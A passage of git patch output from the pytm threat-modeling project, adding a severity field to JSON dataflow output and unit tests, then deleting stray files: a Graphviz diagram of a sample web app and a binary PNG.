             "sourceFiles": [],
@@ -1056,6 +1070,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "SQL Database",
             "source": "Web Server",
             "sourceFiles": [],
@@ -1130,6 +1145,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "Lambda func",
             "source": "Web Server",
             "sourceFiles": [],
@@ -1204,6 +1220,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "Web Server",
             "source": "SQL Database",
             "sourceFiles": [],
@@ -1278,6 +1295,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "User",
             "source": "Web Server",
             "sourceFiles": [],
@@ -1352,6 +1370,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "SQL Database",
             "source": "Task queue worker",
             "sourceFiles": [],
@@ -1368,4 +1387,4 @@
     "onDuplicates": "Action.NO_ACTION",
     "threatsExcluded": [],
     "threatsFile": "pytm/threatlib/threats.json"
-}
\ No newline at end of file
+}
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index ab1a8d49..12d093bb 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -227,7 +227,7 @@ def test_resolve(self):
         resp = Dataflow(web, user, "Show comments (*)")
 
         TM._threats = [
-            Threat(SID=klass, target=klass)
+            Threat(SID=klass, target=klass, severity="")
             for klass in ["Actor", "Server", "Datastore", "Dataflow"]
         ]
         tm.resolve()
@@ -276,8 +276,8 @@ def test_overrides(self):
         resp = Dataflow(web, user, "Show comments (*)")
 
         TM._threats = [
-            Threat(SID="Server", target="Server", condition="False"),
-            Threat(SID="Datastore", target="Datastore"),
+            Threat(SID="Server", severity="High", target="Server", condition="False"),
+            Threat(SID="Datastore", target="Datastore", severity="High"),
         ]
         tm.resolve()
 
@@ -437,6 +437,7 @@ def test_multilevel_dfd(self):
         output = tm.dfd(levels={0})
         with open(os.path.join(output_path, "0.txt"), "w") as x:
             x.write(output)
+        self.maxDiff = None
         self.assertEqual(output, level_0)
 
         TM.reset()

From 3721365d623a6aa7784dff5d9fa6af3a1c6cc3d3 Mon Sep 17 00:00:00 2001
From: izar <izar.tarandach@gmail.com>
Date: Wed, 27 Dec 2023 15:07:59 -0500
Subject: [PATCH 82/86] removing files added by mistake

---
 colormap.dot    | 134 ------------------------------------------------
 foo.png         | Bin 61811 -> 0 bytes
 no_colormap.dot | 134 ------------------------------------------------
 test.txt        |   6 ---
 4 files changed, 274 deletions(-)
 delete mode 100644 colormap.dot
 delete mode 100644 foo.png
 delete mode 100644 no_colormap.dot
 delete mode 100644 test.txt

diff --git a/colormap.dot b/colormap.dot
deleted file mode 100644
index 0a220eef..00000000
--- a/colormap.dot
+++ /dev/null
@@ -1,134 +0,0 @@
-digraph tm {
-    graph [
-        fontname = Arial;
-        fontsize = 14;
-    ]
-    node [
-        fontname = Arial;
-        fontsize = 14;
-        rankdir = lr;
-    ]
-    edge [
-        shape = none;
-        arrowtail = onormal;
-        fontname = Arial;
-        fontsize = 12;
-    ]
-    labelloc = "t";
-    fontsize = 20;
-    nodesep = 1;
-
-    subgraph cluster_boundary_AWSVPC_579e9aae81 {
-        graph [
-            fontsize = 10;
-            fontcolor = black;
-            style = dashed;
-            color = black;
-            label = <<i>AWS VPC</i>>;
-        ]
-
-        lambda_AWSLambda_0291419f72 [
-            shape = rectangle; style=rounded;
-
-            color = gold;
-            fontcolor = gold;
-            label = <
-                <table border="0" cellborder="0" cellpadding="2">
-                    <tr><td><b>AWS Lambda</b></td></tr>
-                </table>
-            >;
-        ]
-
-    }
-
-    subgraph cluster_boundary_Internet_acf3059e70 {
-        graph [
-            fontsize = 10;
-            fontcolor = black;
-            style = dashed;
-            color = black;
-            label = <<i>Internet</i>>;
-        ]
-
-        actor_User_f2eb7a3ff7 [
-            shape = square;
-            color = darkgreen;
-            fontcolor = darkgreen;
-            label = "User";
-            margin = 0.02;
-        ]
-
-    }
-
-    subgraph cluster_boundary_ServerDB_88f2d9c06f {
-        graph [
-            fontsize = 10;
-            fontcolor = black;
-            style = dashed;
-            color = black;
-            label = <<i>Server/DB</i>>;
-        ]
-
-        datastore_SQLDatabase_f8af758679 [
-            shape = none;
-            fixedsize = shape;
-            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
-            imagescale = true;
-            color = gold;
-            fontcolor = gold;
-            xlabel = "SQL Database";
-            label = "";
-        ]
-
-        datastore_RealIdentityDatabase_2c440ebe53 [
-            shape = none;
-            fixedsize = shape;
-            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
-            imagescale = true;
-            color = gold;
-            fontcolor = gold;
-            xlabel = "Real Identity\nDatabase";
-            label = "";
-        ]
-
-    }
-
-    server_WebServer_d2006ce1bb [
-        shape = circle;
-        color = firebrick3;
-        fontcolor = firebrick3;
-        label = "Web Server";
-        margin = 0.02;
-    ]
-
-    datastore_SQLDatabase_f8af758679 -> datastore_RealIdentityDatabase_2c440ebe53 [
-        color = firebrick3;
-        fontcolor = firebrick3;
-        dir = forward;
-        label = "(1) Database\nverify real user\nidentity";
-    ]
-
-    actor_User_f2eb7a3ff7 -> server_WebServer_d2006ce1bb [
-        color = firebrick3;
-        fontcolor = firebrick3;
-        dir = both;
-        label = "(2) User enters\ncomments (*)
-    (5) Show comments\n(*)";
-    ]
-
-    server_WebServer_d2006ce1bb -> datastore_SQLDatabase_f8af758679 [
-        color = firebrick3;
-        fontcolor = firebrick3;
-        dir = both;
-        label = "(3) Insert query\nwith comments
-    (4) Retrieve\ncomments";
-    ]
-
-    lambda_AWSLambda_0291419f72 -> datastore_SQLDatabase_f8af758679 [
-        color = firebrick3;
-        fontcolor = firebrick3;
-        dir = forward;
-        label = "(6) Serverless\nfunction\nperiodically\ncleans DB";
-    ]
-
-}
diff --git a/foo.png b/foo.png
deleted file mode 100644
index 685b90f6932687bd6ecc019f866270a9b00e3e1a..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 61811
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
